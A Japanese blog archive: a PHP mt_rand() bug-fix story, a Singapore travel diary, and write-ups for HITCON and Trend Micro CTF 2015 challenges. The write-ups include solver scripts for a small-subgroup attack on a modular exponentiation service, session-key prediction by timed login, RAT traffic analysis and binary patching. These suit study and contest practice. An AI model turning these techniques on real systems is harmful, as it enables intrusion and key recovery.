PHPのmt_rand()にプルリクを送った

この話。

PHP の mt_rand() は一貫して壊れている(consistently broken)らしい - 唯物是真 @Scaled_Wurm

PHPmt_rand()が実装にミスがあることを知ったので、「PHPのコミットログに名前を載せるぞ╭( ・ㅂ・)و」と思ってプルリクを送ったら、一旦マージされたけど、リバートされた。

詳細

https://github.com/php/php-src/pull/1681/files

ついでにテストコードも付けたけど、直すべきは1文字だけ。 twistというマクロの定義が1文字間違えている。 loBit(u)ではなくloBit(v)が正しい。

#define twist(m,u,v)  (m ^ (mixBits(u,v)>>1) ^ ((uint32_t)(-(int32_t)(loBit(u))) & 0x9908b0dfU))

このマクロはオリジナルのソースコード

y = (mt[kk]&UPPER_MASK)|(mt[kk+1]&LOWER_MASK);
mt[kk] = mt[kk+M] ^ (y >> 1) ^ mag01[y & 0x1UL];

という処理に対応している。最適化されていて分かりづらいけど、loBit(x)01を返すので、符号を反転させると、0x000000000xffffffffになり、andを取ることで0x000000000x9908b0dfになる。オリジナルのソースコードmag01{0x0UL, 0x9908b0df}なので、表を引かずに同じ動作をするようになっている。オリジナルと同じ結果を得るためには、uではなくvの下位1bitを使わなければいけない。

PHPにmt_randが実装された当初から間違っていたわけではなく、10年前にコードを最適化したときエンバグしたらしい。 この前はオリジナルのメルセンヌ・ツイスタと同じ値を返していたはず。

普通に乱数を使う分には全く問題の無いレベルだと思うけど、この違いで乱数の周期性などがどの程度悪化しているのか、あるいは全く影響は無いのか、気になる。

経緯

2015年10月。とあるセキュリティ系のコンテストでmt_randを推測する問題を解いていて、なぜかC++での実装と上手く結果が合わなかった。乱数を推測するツールがあると教えてもらってそのツールを見ていたら、ソースコードの中にmt_twistという関数とphp_twistという関数があって、PHPは実装が異なっていることを知った。なので、このバグは私が見つけたわけではない。知っている人は知っている話だったらしい。1文字だけだし、直そうかとも思ったけど、面倒そうなので止めた。

https://github.com/GeorgeArgyros/Snowflake/blob/22d2a261f159e1a7b4233f0f4aac4020a90e079f/mt_rand/mt_rand.c#L39

2015年12月。このインタビューを読んで「PHPすごいなー」と思い、コミットログに名前を残したくなったので、バグ報告をして、プルリクを送った。この時点で、「たしかにバグだけど、直したら互換性が崩れるのでは? どうしよう」というようなコメントがついていた。

2016年2月。このコミットと衝突していたので、解消して、ついでに、「そもそも10年前の修正で互換性が崩れていたけど、今まで誰も文句を言っていないし、もう一度崩れても別に良いのでは」とコメントを付けた。 mt_rand()の返す値が変わったら困るような状況があるのなら、10年前の変更の時点で気が付かれて、すぐに直されたのではないかと。 今にして思うと、ちょっと乱暴だったかもしれない。 すっとマージされたかと思いきや、直後にリバートされた。

PHPのバグ修正の方法

この手の大規模なソフトウェアは開発環境を整えるだけで一苦労というイメージがあったけど、とても簡単だった。

git clone git@github.com:php/php-src.git
cd php-src
./buildconf
./configure
make

で、sapi/cli/phpに本体ができる。他のファイルを参考にして、tests/にテスト用のスクリプトを置くと、make testで実行される。

README.mdに書いてあるように、 https://bugs.php.net にチケットを作って、その番号を参照してプルリクを送れば良いらしい。

リバートについて

「だからPHPはダメなんだ」というような感じで叩かれているし、リバートされたときは「せっかくマージされたのにリバートするなよ……」と思ったけど、正しさよりもユーザーの利便性を優先しているからこそ、PHPはここまで流行っているのではないかと思う。 皮肉ではなく。 たとえ乱数の周期が2100になっていても困る人はいないけど、乱数の値が変わったら困る人ならいそう。

環境非依存の乱数

単に性能の良い乱数ならアルゴリズムの名前を付ける必要は無いので、各言語に実装されているメルセンヌ・ツイスタは言語が変わっても再現性のある乱数が得られるのが魅力だと思っていた。例えば、今回の修正が反映されれば、

<?php
mt_srand(12345678);
for ($i=0; $i<8; $i++)
    echo mt_rand().PHP_EOL;

#include <iostream>
#include <random>

int main()
{
    std::mt19937 rand(12345678);
    for (int i=0; i<8; i++)
        std::cout<<rand()/2<<std::endl;
}

はどちらも

527860569
1711027313
1280820687
688176834
770499160
412773096
813703253
898651287

という値を出力するようになる。C++は32bitで値を返すので、/2しているのがちょっと残念だけど。

他の言語はどうなのかと、Pythonを見てみると、genrand_int32()の値を直接取得するにはgetrandbits(32)という無理矢理感のある方法だし、init_genrand()を呼び出す手段は無いようだった。

言語間でも再現性のある乱数という需要はあまり無いのかもしれない。残念。

おまけ

私がバグチケットを作ったときに直前にあったバグが面白かった。

https://bugs.php.net/bug.php?id=71151

<?phpだけのファイルはHTMLからの脱出ができないらしい。「phpの後には空白文字が必要で、EOFは空白文字なのかという哲学的な問題だ」とRasmus氏がコメントしている。

追記

PHPでの、メルセンヌツイスタと今のmt_rand()と等価な処理の実装。乱数の値が一致する必要がある場合にはこれを使えば良さそう。

lt/PHP-MT19937: PHP implementations of MT19937, MT19937-64 and PHPs MT variant

シンガポール旅行

先月末に「家に引きこもってばかりいないで、たまには旅行しよう」と会社の同期に誘われて、シンガポールに行ってきた。せっかくなのでブログを書く。

飛行機

高級航空会社シンガポール航空。往復で6万円くらい。めったに飛行機に乗らないから値段の感覚が分からないけど、良く飛行機に乗る同期曰く「思ったよりも安かった」とのこと。噂通り、機内食は美味しかったし、機体も新しかった。

行きも帰りも深夜便を使った。寝坊して飛行機に乗り遅れる心配は無いし、時間が有効に使えるのは良いのだけど、フライトが6-7時間くらいで機内食だのがあるから正味4-5時間くらいしか寝られず、翌日が眠くて仕方が無かった。座席が良い分、深夜バスよりは寝やすかった気がする。あとは深夜バスがパーキングで休憩して時間を調節するみたいなことをしてくれれば良いのだけど、飛行機では無理か。

ドラえもん 新・のび太の宇宙開拓史」を観た。新しいドラえもんをほとんど見たことがなかったから、ドラえもんとはなかなか認識できないけれど、これはこれで面白かった。

ホテル

シンガポールで一番有名なマリーナベイサンズに1泊だけ泊まった。一番安い日を選んで1泊2万円くらい。高いけど、インフィニットプールに入れるし、空港にも観光名所にも近くて便利だし、部屋も広いしで、値段分の価値はありそう。

地上57階のインフィニットプール。水がそのまま空に繋がっているように見えるとか、そんな感じの意味での「インフィニット」だろうか。

水平線に近づいてみると、実際はこんな感じ。

f:id:kusano_k:20151229020725j:plain:w640

防水スマホだからと安心して水着のポケットに入れていたら、浸水して壊れた。防水を過信してはいけない……。

ホテルの中からは見られないけど、夜にこんな感じのレーザーショーをやっている。

エレベーターのパネルがグリーンスクリーンになっていた。

f:id:kusano_k:20151229021745j:plain:w640

2日目以降に泊まったVIPホテル。VIPだけど高くはない。

f:id:kusano_k:20151229022638j:plain:w640

ホテルのテレビで見たSUMO。早口の英語で実況していてとてもカッコ良かった。日本でも放送してほしい。

ネット環境

空港で、イモトのWiFiを借りた。現地での滞在時間ではなく、借りてから返すまでなので6日で、6400円。3日間で400MB以上だと帯域制限する可能性があるとのこと。ホテルではホテルのWiFi、街中でもWiFiがあるところではWiFiを使うように心掛けて、4日間で700MBくらい。通信量を気にするのも、スマホとは別にルーターを持ち運ぶのも面倒なので、次に海外に行くときはSIMフリーのスマホを持って行きたい。最近のスマホなら解除できるはず。

そもそも、普段から外出中にそんなにネットを使わないのだったら、ネット環境を用意していなくても何とかなる気がする。空港とかデパートとかにはWiFiがあって、ちょっと手続きをすれば使えるし、道に迷ってどうしようもなくなったとかなら、キャリアの海外ローミングをその場で使えば良いし。

場所が変わったからかGoogleの認証に弾かれて詰みかけた。2段階認証に登録していたガラケーは海外ローミング非対応で、たまたまスマホのほうも登録していて助かった。2段階認証のバックアップコードはちゃんと持ち歩こう。何回かログインしようとしたからか、アカウント1個はパスワードの変更を強制されて、あちこちのデバイスでパスワードを変えるのが面倒だった。

Google認証アプリに切り替えた。2段階認証を設定するときに、良く分からないアプリを入れたくないなと思って電話にしたけど、携帯回線に頼らない分アプリのほうが安心。

1日目

世界三大がっかりマーライオン。周りに観光客がいっぱいたから、たしかに本家マーライオンなのだろうけど、人がいなかったらレプリカだと思ってしまいそうw

ホテルにだだっ広いカジノがあった。ルーレットで自分の誕生日に置いたら当たって、150シンガポールドル儲けた。

シンガポールは日本の夏のような感じでずっと蒸し暑かったが、夕飯を食べに行ったどこかの街で地下鉄から出たら雪が降っていてびっくりした。実際はただの泡。

f:id:kusano_k:20151229022926j:plain:w640 f:id:kusano_k:20151229022929j:plain:w640

北京ダック。皮だけだと高いけど、これを頼むと肉の料理が安く頼めるので、それを考えるとまあまあ。

f:id:kusano_k:20151230040433j:plain:w640

「マリーナベイサンズの屋上のバーに行ってみよう」と誘われて行ってみたら、高級感がすごかった。ケースに入った葉巻を売っていた。葉巻を初めて見たかもしれない。「特別メニューです」と渡されたメニュー表を見たら、「○○ウイスキー○年 2000」とか書いてあって、「2000円か。けっこう高いなー」と思って良く見たらドルだった。普通のウィスキーを1杯飲んで2000円くらいだった気がする。

2日目

Anime Festival Asia 2015 in Singapore。一応これが主目的。コミケの企業ブース(一部同人エリアもあったけど)+ライブ。ライブに行くのは初めてだけど楽しかった。レーザーがかっこいい。せっかくなので光る棒も買ってみた。中にはLEDがびっしりというのを想像していたけれど、光るのは持ち手の部分だけで、棒は光を拡散させているだけなのか。

f:id:kusano_k:20151229025448j:plain:w640

日本のこういうイベントに比べて、参加者のコスプレしている率が高かった気がする。まだアニメがそんなに広まっていないので、来るのはコアな人ばかりなのだろうか。

会場で「ガラスの花と壊す世界」というアニメのポスターが貼られていて、見覚えが無いけど面白そうだな……と思っていたら、まだ未公開の劇場作品だった。そんなイベントがあるとは知らなかったけど、先行上映で本編丸ごと観られるし、声優のミニライブは聴けるしで最高だった。人を選ぶ作品だとは思うけど、私にとってはとても良かったので、公開されたらもう一度観に行こう。

3日目

あちこち歩き回った。まずは、セントーサ島

水族館。世界最大らしい

セントーサ島にもマーライオンがいた。本家よりでかいし、中にも入れる。中が派手で仙台大観音とか牛久大仏を思い出した。

カート好きの同期に誘われて、ゴーカートのようなソリのようなものに乗って遊んだ。コンクリートの坂道を自重で走るだけだけど、けっこうスピードが出る。

ケーブルカーに乗って、さよならセントーサ島

閉館ギリギリに植物園のドームに滑り込んだ。ライトアップはされているし、夜は夜で良いのかもしれないけど、暗くて良く見えないのでちょっと微妙。

f:id:kusano_k:20151230000820j:plain:w320 f:id:kusano_k:20151230001042j:plain:w320

ウツボカズラ(レゴ製)。

f:id:kusano_k:20151230001121j:plain:w640

この木の上の回廊を歩きたかったが、残念ながら時間が遅すぎた。

f:id:kusano_k:20151230004309j:plain:w640

屋台は遅い時間まで開いていたので、チキンライス。帰国直後の食戟のソーマでちょうどチキンライスが出てきた。

帰りに寄ったコンビニで皿が5個のけん玉を見つけて思わず買ってしまった。パッと見面白そうだと思ったけど、別に普通のけん玉と遊び方は変わらないような……。

4日目

適当に街中をウロウロしていた気がする。

小さい電機屋がいっぱい入っているビルがあって、秋葉原っぽかった。

誰かがゲーセンに行きたいというので着いていったら、ほとんど日本のゲーム機だった。現地の硬貨が使える台はほとんど無くて、硬貨の投入口には「100円」と書いてあった。レジで電子マネーをカードにチャージして、それで遊ぶらしい。電子マネーだとどこの国に持っていっても使えるのか。

どこかのビルの展望台からの景色。入場料も置いてある望遠鏡も無料で太っ腹。回った場所がだいたい見えて、小さな国だというのを実感。

帰国。公開直前だからかシンガポールの空港にスターウォーズの展示があった。同期がXウイングについて熱く語っていたが、スタウォーズを見たことが無いので良く分からなかった……。

f:id:kusano_k:20151230002808j:plain:w640

その他

ライブのポスター抽選に応募するときに、NRICもしくはパスポート番号を書く欄があって、何のことかと思ったら、シンガポールマイナンバーらしい。とてもカジュアルに使われていてすごい。

海外に行ったら、その国の硬貨を一通り持ち帰りたいと思っているのだけど、普通に買い物をしていて1セント硬貨は結局手に入らなかった。ガイドブックにもほとんど流通していないと書いてあった。5セント硬貨も1枚だけ。日本だとちょっと油断するとすぐ財布の中が1円玉だらけになるのに……。日本の店も198円で割安感を出すくらいなら、200円にしてほしい。

街中はどこも綺麗だったし、治安に不安は一切感じなかったし、IT化は進んでいるしで、理想の国家っぽい感じがした。一方で地下鉄には飲食したら罰金という貼り紙があったし、夜になるとコンビニで酒を売ってくれなくなったし、もしかすると綺麗すぎて息苦しいのかもしれない。

HITCON CTF 2015 Quals Crypto 200 poooooooow write-up

HITCON CTF 2015の予選にチームfuzzi3のメンバーとして参加して1問だけ解いた。

Crypto 200 poooooooow

問題サーバーに整数xを投げると、x^flag mod pを返してくる。pは、

p = 195589859419604305972182309315916027436941011486827038011731627454673222943892428912238183097741291556130905026403820602489277325267966860236965344971798765628107804393049178848883490619438682809554522593445569865108465536075671326806730534242861732627383004696136244305728794347161769919436748766859796527723

p-1素因数分解すると、

p-1 = 2 * 3^336 * 4759647095086827597559114855685975263112106458932414012998147177848303887783492510354911068366203455488902018600593880874117783509946030773587965941

となる。(msieveにp-1をそのまま指定したらなぜか値が化けたので、(p-1)/2を計算して渡した。何故だろう?)

指数の底を任意に指定できる場合、位数の小さな底を渡すと逆算が可能になるという問題がある。例えば、p-1の位数は2((p-1)^2=1となる)ので、x=p-1とすると、x^flagの値はflagが偶数ならば1、奇数ならばp-1となる。同様に、位数がkの整数を底に指定すると、kが総当たり可能な程度に小さければ、flag mod kの値が分かる。

位数kを持つ底が存在する条件は、p-1が約数にkを持つこと。この問題の場合は、k = 2, 3, 6, 9, …などに対して、flag mod kの値が分かる。最初は中国人の剰余定理を使うのかなと思い、小さな素因数が2と3しかないので、法が互いに素という中国人の剰余定理の条件を満たさなあと悩んでいた。よくよく考えてみると、flag mod 3^kの値が分かっているときに、flag mod 3^(k+1)の値を求めるのは簡単だった。

位数がkの底の値(k乗根)は、離散対数などと違って大きな数字に対しても計算できるらしい。計算方法は分からないが、PARI/GPを使ったら出てきた。

(00:02) gp > p = 195589859419604305972182309315916027436941011486827038011731627454673222943892428912238183097741291556130905026403820602489277325267966860236965344971798765628107804393049178848883490619438682809554522593445569865108465536075671326806730534242861732627383004696136244305728794347161769919436748766859796527723
%3 = 195589859419604305972182309315916027436941011486827038011731627454673222943892428912238183097741291556130905026403820602489277325267966860236965344971798765628107804393049178848883490619438682809554522593445569865108465536075671326806730534242861732627383004696136244305728794347161769919436748766859796527723
(00:02) gp > for (i=0, 336, sqrtn(Mod(1,p), 3^i, &z); print(z))
1
Mod(104014548352862869844938168699037346159667005020653232215280909315013887004134868071692786470598745196869723476863259041566021786143181633190908349324551845723794609926567304576385405504723391936863098403039412007235326783702521959959990403821231826220564014204004925465542563989453628264120514916708791295289, 195589859419604305972182309315916027436941011486827038011731627454673222943892428912238183097741291556130905026403820602489277325267966860236965344971798765628107804393049178848883490619438682809554522593445569865108465536075671326806730534242861732627383004696136244305728794347161769919436748766859796527723)
Mod(184652117342066002125654235724672107296479548524944232819111563903191006442841910870258588328187042859006937684077703029415354169137811839089174205147468046219075692488717893872876980963114118329358013489256502574078197180921037431791591430810377557558530731446903392174481754139833226637153091225821181459427, 195589859419604305972182309315916027436941011486827038011731627454673222943892428912238183097741291556130905026403820602489277325267966860236965344971798765628107804393049178848883490619438682809554522593445569865108465536075671326806730534242861732627383004696136244305728794347161769919436748766859796527723)
Mod(184703592399630395992436694563840651821345959648882665358650769365293715003098677483460150685414076439977481202237026725692730858348800757738575025587940041796479236394368440075581490376984436883703286883100998351356645756513111907638957133347344001275568620875776030118946807467426690617366314494522903230861, 195589859419604305972182309315916027436941011486827038011731627454673222943892428912238183097741291556130905026403820602489277325267966860236965344971798765628107804393049178848883490619438682809554522593445569865108465536075671326806730534242861732627383004696136244305728794347161769919436748766859796527723)
Mod(110911870833244863188457786643721493610784303513579129522393811396028723726659740858323669743224481525481653274103693005011435072682119191684346088511737934950819776631108869567490910585606931573400726494033281267128656345029354355593639402681259953259490212087559197723833793933264120796188614403292964375754, 195589859419604305972182309315916027436941011486827038011731627454673222943892428912238183097741291556130905026403820602489277325267966860236965344971798765628107804393049178848883490619438682809554522593445569865108465536075671326806730534242861732627383004696136244305728794347161769919436748766859796527723)
  :

下記のコードで、x=3^kに対してのflag mod xが手に入る。前半のSHA-1の計算はブルートフォース防止の問題を解くため。

p = 195589859419604305972182309315916027436941011486827038011731627454673222943892428912238183097741291556130905026403820602489277325267966860236965344971798765628107804393049178848883490619438682809554522593445569865108465536075671326806730534242861732627383004696136244305728794347161769919436748766859796527723

p3 = [1,
104014548352862869844938168699037346159667005020653232215280909315013887004134868071692786470598745196869723476863259041566021786143181633190908349324551845723794609926567304576385405504723391936863098403039412007235326783702521959959990403821231826220564014204004925465542563989453628264120514916708791295289,
60596460703939283816039205007643327134157148193137267625175827451053986819941320545425174147667596081382708012312681744811027758187030913123958296233100508255282449193369626634505358810006112813774496917212618041107392205938556674774459583844872217984025489695097001179157787176195328504655348838631849663942,
10441323002096004510770587886741164350611625346463303011098537719084211549367934812572712892322805795870488891233845379359846218253172487403746893055076258863370778801037982921324392236506419913883778765063307635117884863379930809028657037691697264628883957391135108525171201634495578625408183792572214453266,
  :
]

from socket import *
from time import *
from hashlib import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("52.69.244.164", 9003))
sleep(1)

t = s.recv(1024)
print t

prefix = t[99:99+11].replace(" ","").decode("hex")
try:
    for a in range(32,256):
     for b in range(32,256):
      for c in range(32,256):
       for d in range(32,256):
        w = prefix+chr(a)+chr(b)+chr(c)+chr(d)
        if sha1(w).hexdigest()[:6]=="000000":
         raise
except:
    pass

for i in range(len(p3)):
    s.send("%s\n"%p3[i])
    sleep(0.1)
    print "<%s>"%i, s.recv(10240)

あとは、返ってきた値からflagを求めれば良い。

flag = 0

for i in range(1,len(p3)):
   for j in range(3):
      if pow(root3[i], flag+j*3**(i-1), p) == res[i]:
      flag += j*3**(i-1)

print flag
print ("%x"%flag).decode("hex")
hitcon{CBRT_cbrt_Cbrt_CbRt_cBrT_cBRT_RePeAt......}

Trend Micro CTF Asia Pacific & Japan 2015 Write-up

TrendMicro主催の初のコンテスト。superflipは15位。Windowsバイナリとプログラミングが多くて私好みだった。

Analysis-offensive 100

サインアップとログインするだけのサイト。ログインするとuserというセッションキーが設定される。

掴み所が分からなかったけど、セッションキーが現在の秒数から決まっていて同時にログインすると同じセッションキーになってしまう。 毎分1秒にUserID 1がログインしているので、同じタイミングでログインすれば良いだけ。

その発想は無かった……という感じなのだけど、何となくリアリティを感じる。実際にあった問題なのだろうか。

Welcome TMCTF{ad70c0b2a1d07792a310b2349cab8890}

Analysis-offensive 200

ウイルスを10000000匹倒さないといけないAndroidアプリ。

f:id:kusano_k:20150927155335p:plain:w128

dex2jarとjd-guiで解析したところ、あちこちで少しずつ文字列を組み立て、Base64で復号してフラグとして表示しているらしい。

9uZ2dnZ3JhdHNfMTBNQ2xpY2tzかな? → \x00\x0fnggggrats_10MClicks。惜しいので前半を推測して投稿したら正解した。

TMCTF{Congrats_10MClicks}

Analysis-offensive 300

占いとご意見投稿があるだけのサイト。全く分からない。

Analysis-offensive 400

ヒントが76343947ada960b6269090638f5391068daee88d。CVE-2015-0291の修正のコミットID。Exploitがあったら試してみようと思ったけど、見つからなかったので終了。

Analysis-defensive 100

libcrypto.so.1.0.0が無くて動かない。libcrypto.so.1.0.1eをコピーしてみたけど、OPENSSL_1.0.0が無いと言われてダメ。しょうがないので、プログラムを読んだ。鍵もIVも/tmp/...,,,...,,で、プログラムの0x5000バイト名以降をAES-128-CBCで復号し出てきたファイルを実行。

出てきたファイルもlibcrypto.so.1.0.0が必要なのでプログラムを読んだ。自身の0x500-0x57fのMD5ハッシュを出力。何かファイルサイズ+0x500バイトとかのメモリを確保している気がするのだけど、なぜだろう?

TMCTF{ce5d8bb4d5efe86d25098bec300d6954}

Analysis-defensive 200

WindowsのRAT。PC名がTMCTF2015-PCだと動く。http://ctfquest.trendmicro.co.jp:13106/126ac9f6149081eb0e97c2e939eaad52/top.htmlに繋ぎに行く。単なる日記サイトのようだけど接続先が暗号化されて書かれている。localhost|8888だけど、このサイト中にはctfquest.trendmicro.co.jp|19400も書かれている。User-AgentをTMCTF2015-13106にする必要があり、Cookieに暗号化した指示を書き込む。

色々試行錯誤して解けたので良く分かっていないけど、localhostg1v3m3k3y=0で繋ぎにくるので、ctfquestにg1v3m3k3y=1で繋ぐとファイルが降ってきて、localhostからこのファイルを返すとkey.binが出力された。処理の分岐を弄って、0x4bのところを0x54に対応する処理に飛ばしたら、key.binを読み込んで、復号し始めた。

TMCTF{MV8zXzFfMF82XzRfNV80XyhfMg==}

Analysis-defensive 300

Poison Ivyの通信の解析。時間が無くて取り組んでいない。

Analysis-defensive 400

自己解凍書庫っぽいのに実行しても動かないから、解凍ソフトで解凍したら、Windowsのイベントログが大量に出てきた。

Analysis-others 100

壊れたPDFの復号。PDFのフォーマットを良く分かっていないが、0x78から始まるzlib圧縮っぽい部分がいくつかあって、そのうちの一つにBase64エンコードされたJpeg画像が含まれているXMLがあり、フラグが書いてあった。

TMCTF{There is always light behind the clouds.}

Analysis-others 200

アスキーアートの動画が流れる。30時から33時くらいまで取り組んでいたのに解けなくて悔しい。ヒント曰く、アスキーアートからPEファイルを抽出できるらしい。良く見ると、01がやたらとチラチラしている。DrawTextをフックするツールとかありそうだと思って探したけど見つからなかった。デバッガのスクリプトとかで何とかなるかもと思ったけど使ったことがないので無理。しょうがないから、

00459800      33C0          XOR     EAX, EAX
00459802      50            PUSH    EAX
00459803      50            PUSH    EAX
00459804      6A 03         PUSH    3
00459806      50            PUSH    EAX
00459807      50            PUSH    EAX
00459808      68 00000040   PUSH    40000000
0045980D      68 EC974500   PUSH    AsciiArt.004597EC                ;  ASCII "TrendMicro CTF"
00459812      E8 0DC6FAFF   CALL    <JMP.&kernel32.CreateFileA>
00459817      50            PUSH    EAX
00459818      6A 02         PUSH    2
0045981A      6A 00         PUSH    0
0045981C      6A 00         PUSH    0
0045981E      50            PUSH    EAX
0045981F      E8 A0C7FAFF   CALL    <JMP.&kernel32.SetFilePointer>
00459824      58            POP     EAX
00459825      50            PUSH    EAX
00459826      6A 00         PUSH    0
00459828      68 F0BF4500   PUSH    AsciiArt.0045BFF0
0045982D      68 08290000   PUSH    2908
00459832      FF75 E4       PUSH    DWORD PTR SS:[EBP-1C]
00459835      50            PUSH    EAX
00459836      E8 D979FAFF   CALL    <JMP.&kernel32.WriteFile>
0045983B      E8 CCC5FAFF   CALL    <JMP.&kernel32.CloseHandle>
00459840      8BC6          MOV     EAX, ESI
00459842      68 F1914500   PUSH    AsciiArt.004591F1
00459847    ^ E9 B098FAFF   JMP     AsciiArt.004030FC

こんな処理をプログラム中に埋め込んで、ここに飛ばして抜き取った。同じフレームが何回か出力されているので重複を弾いてみたけど、なぜか1枚足りない。アスキーアートの展開ルーチンを解析するべきだったか……。

Analysis-others 300

Windowsバイナリ。時間が……。

Analysis-others 400

Windowsバイナリ。難読化されているらしい。

Analysis-others 500

Windows DLLファイル。知らんがな(´・ω・`)

Cryptography 100

256bit RSA。公開鍵がおかしい、失われた1bitは?とか書かれていて、公開鍵が偶数だった。最後のビットを1にしてmsieveにかけたら大きな素数が2個出てきた。あとは以前にやったのと同じ手順で解けた。

TMCTF{$@!zbo4+qt9=5}

Cryptography 200

CBCモードのAESで、鍵の2文字、IV全部、暗号文の前半1ブロックの9割くらいが潰されている。平文は分かる。この状態でIVを答えよという問題。CBCなので後半のブロックの復号にはIVは要らない。鍵の2文字を変えながら後半を復号して、前半の潰されていない部分とxorを取って、平文と一致すれば良い。これで鍵が分かる。あとは、後半の復号結果と平文から前半の暗号文が分かるので、これと平文の暗号結果のxorがIV。鍵の探索が上手く行かないとおもったら、鍵は英文字だけじゃなかったのか。

from Crypto.Cipher import AES

KEY = "5d6I9pfR7C1JQt"

for a in [chr(x) for x in range(256)]:#"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789":
 for b in [chr(x) for x in range(256)]:#"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789":
    aes = AES.new(KEY+a+b, AES.MODE_ECB)
    P = aes.decrypt("307df037c689300bbf2812ff89bc0b49".decode("hex"))
    if ord(P[-2])^0x9e==ord("S") and ord(P[-1])^0xc3==ord("!"):
        print KEY+a+b

KEY = "5d6I9pfR7C1JQt7$"
aes = AES.new(KEY, AES.MODE_ECB)

P1 = "rotected by AES!"
P2 = aes.decrypt("307df037c689300bbf2812ff89bc0b49".decode("hex"))
C = ""
for i in range(16):
    C += chr(ord(P1[i])^ord(P2[i]))
print C.encode("hex")

P = aes.decrypt(C)
IV = ""
for i in range(16):
    IV += chr(ord("The message is p"[i])^ord(P[i]))
print IV
TMCTF{rVFvN9KLeYr6}

Cryptography 300

サンプルとして良く使われている暗号鍵を答えていくっぽい。2問目で挫折。

Cryptography 400

Outlookの暗号メール? 分からん。

Cryptography 500

解けたけど、意味の分からない問題。アルファベットで構成される2個の異なる文字列をBase64で符号化した場合に、同じ文字が同じ位置に表れることがある。中には出てこない文字もあるので、それを答えよと。

例えば、xABCDEFGyABCDEFGのような文字列を考えれば、この問題は「アルファベットをBase64で符号化した場合に表れる文字列を答えよ」という問題と同じ。Base64は3文字を4文字に対応付けるので、アルファベット3文字くらいなら全列挙できるので何も難しくない。普通、同じ長さの文字列abが異なるといった場合には、a[i]b[i]が異なるようなiが少なくとも1個は存在するという意味だけど、全てのiについてa[i]≠b[i]が異なるという意味だろうか……とも思ったが、サンプルがそうではない。

from hashlib import *

A = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
B = "+/=0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"

S = set()
for a in A:
 for x in a.encode("base64"):
  S.add(x)
 for b in A:
  for x in (a+b).encode("base64"):
   S.add(x)
  for c in A:
   for x in (a+b+c).encode("base64"):
    S.add(x)

ans = "".join(b for b in B if b not in S)
print "TMCTF{%s}" % sha1(ans).hexdigest()

で、これを投稿したとはずだけどダメで、色々試していたけど、あとで投稿し直したら通った。試している時点では問題の修正(文字数が3で割りきれない場合の考慮漏れ?)が入った後だったのだけど……。謎。

SHA1の計算でポカをした可能性もある。TMCTF{+/7f}がフラグではダメだったのだろうか。

TMCTF{67569763552b4e9b8ac950be0d25f446f8470c60}

Programming 100

色の違う正方形をクリックするゲーム。途中まで人力でやっていたけど、諦めた。最後のほうは1pxの点が並んでいるので諦めて正解だった。

from urllib import *
from re import *
import Image
from collections import *

url = "http://ctfquest.trendmicro.co.jp:43210/click_on_the_different_color"

while True:
    html = urlopen(url).read()
    print html
    
    m = search(r"img/([0-9a-f]{44,44})\.png", html)
    hash = m.group(1)
    
    png = urlopen("http://ctfquest.trendmicro.co.jp:43210/img/%s.png"%hash).read()
    open("%s.png"%hash, "wb").write(png)
    
    img = Image.open("%s.png"%hash)
    w = img.size[1]
    h = img.size[0]
    d = img.getdata()
    
    C = defaultdict(int)
    
    for i in range(w*h):
        if d[i]!=(255,255,255):
            C[d[i]] += 1
    mc = 0
    mn = w*h
    for c in C:
        if C[c]<mn:
            mn = C[c]
            mc = c
    
    for i in range(w*h):
        if d[i]==mc:
            x = i%w
            y = i/w
            break
    print "x,y:",x,y
    url = "http://ctfquest.trendmicro.co.jp:43210/%s?x=%s&y=%s"%(hash,x,y)
The flag is TMCTF{U must have R0807 3Y3s!}

Programming 200

与えられた数式に回答していく、計算は四則演算だけなのでevalに突っ込めば良いけど、数値にカンマが入ったり、ローマ数字になったり、英語表記(one hundred ninety nine thousand, fifty nineとか)になったりする。最初は真面目に解析するのが面倒で、プログラムが解析できなかったら人間に投げていたけど、タイムアウトになるので結局ちゃんとプログラムで実装した。

from socket import *
from time import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("ctfquest.trendmicro.co.jp", 51740))

T = [""]*1001
T[0] = "zero"
T[1] = "one"
T[2] = "two"
T[3] = "three"
T[4] = "four"
T[5] = "five"
T[6] = "six"
T[7] = "seven"
T[8] = "eight"
T[9] = "nine"
T[10] = "ten"
T[11] = "eleven"
T[12] = "twelve"
T[13] = "thirteen"
T[14] = "fourteen"
T[15] = "fifteen"
T[16] = "sixteen"
T[17] = "seventeen"
T[18] = "eighteen"
T[19] = "nineteen"
T[20] = "twenty"
T[30] = "thirty"
T[40] = "forty"
T[50] = "fifty"
T[60] = "sixty"
T[70] = "seventy"
T[80] = "eighty"
T[90] = "ninety"

for i in range(20,100,10):
    for j in range(1,10):
        T[i+j] = T[i]+" "+T[j]
for i in range(100,1001):
    T[i] = T[i/100] + " hundred"
    if i%100!=0:
        T[i] += " "+T[i%100]

def fix(t):
    for i in range(len(T)):
        if T[i]==t:
            return str(i)
    
    if any((c in t) for c in "IVXLCDM"):
        t = t.replace("IV", "IIII")
        t = t.replace("IX", "VIIII")
        t = t.replace("XL", "XXXX")
        t = t.replace("XC", "LXXXX")
        t = t.replace("CD", "CCCC")
        t = t.replace("CM", "DCCCC")
        return str(
            t.count("I") +
            t.count("V")*5 +
            t.count("X")*10 +
            t.count("L")*50 +
            t.count("C")*100 +
            t.count("D")*500 +
            t.count("M")*1000)
    if len(t)==1:
        return t
    
    t = t.replace(",","")
    
    if all(c in "0123456789" for c in t):
        return t

    if " billion " in t:
        a = t.split(" billion ")
        return str(int(fix(a[0]))*1000000000+int(fix(a[1])))
    
    if " million " in t:
        a = t.split(" million ")
        return str(int(fix(a[0]))*1000000+int(fix(a[1])))
    
    if " thousand " in t:
        a = t.split(" thousand ")
        return str(int(fix(a[0]))*1000+int(fix(a[1])))

    print t+"?"
    return raw_input()

def solve(q):
    X = q.split()
    T = []
    for i in range(len(X)):
        if 0<i and (X[i-1][-1].isalpha() or X[i-1][-1]==",") and X[i][0].isalpha():
            T[-1] += " "+X[i]
        else:
            T += [X[i]]
    return eval("".join(fix(t) for t in T))

c = 0
while True:
    q = s.recv(1000)
    print c,q
    a = solve(q[:-2])
    s.send(str(a)+"\n")
    c += 1
The flag is TMCTF{U D1D 17!}

Programming 300

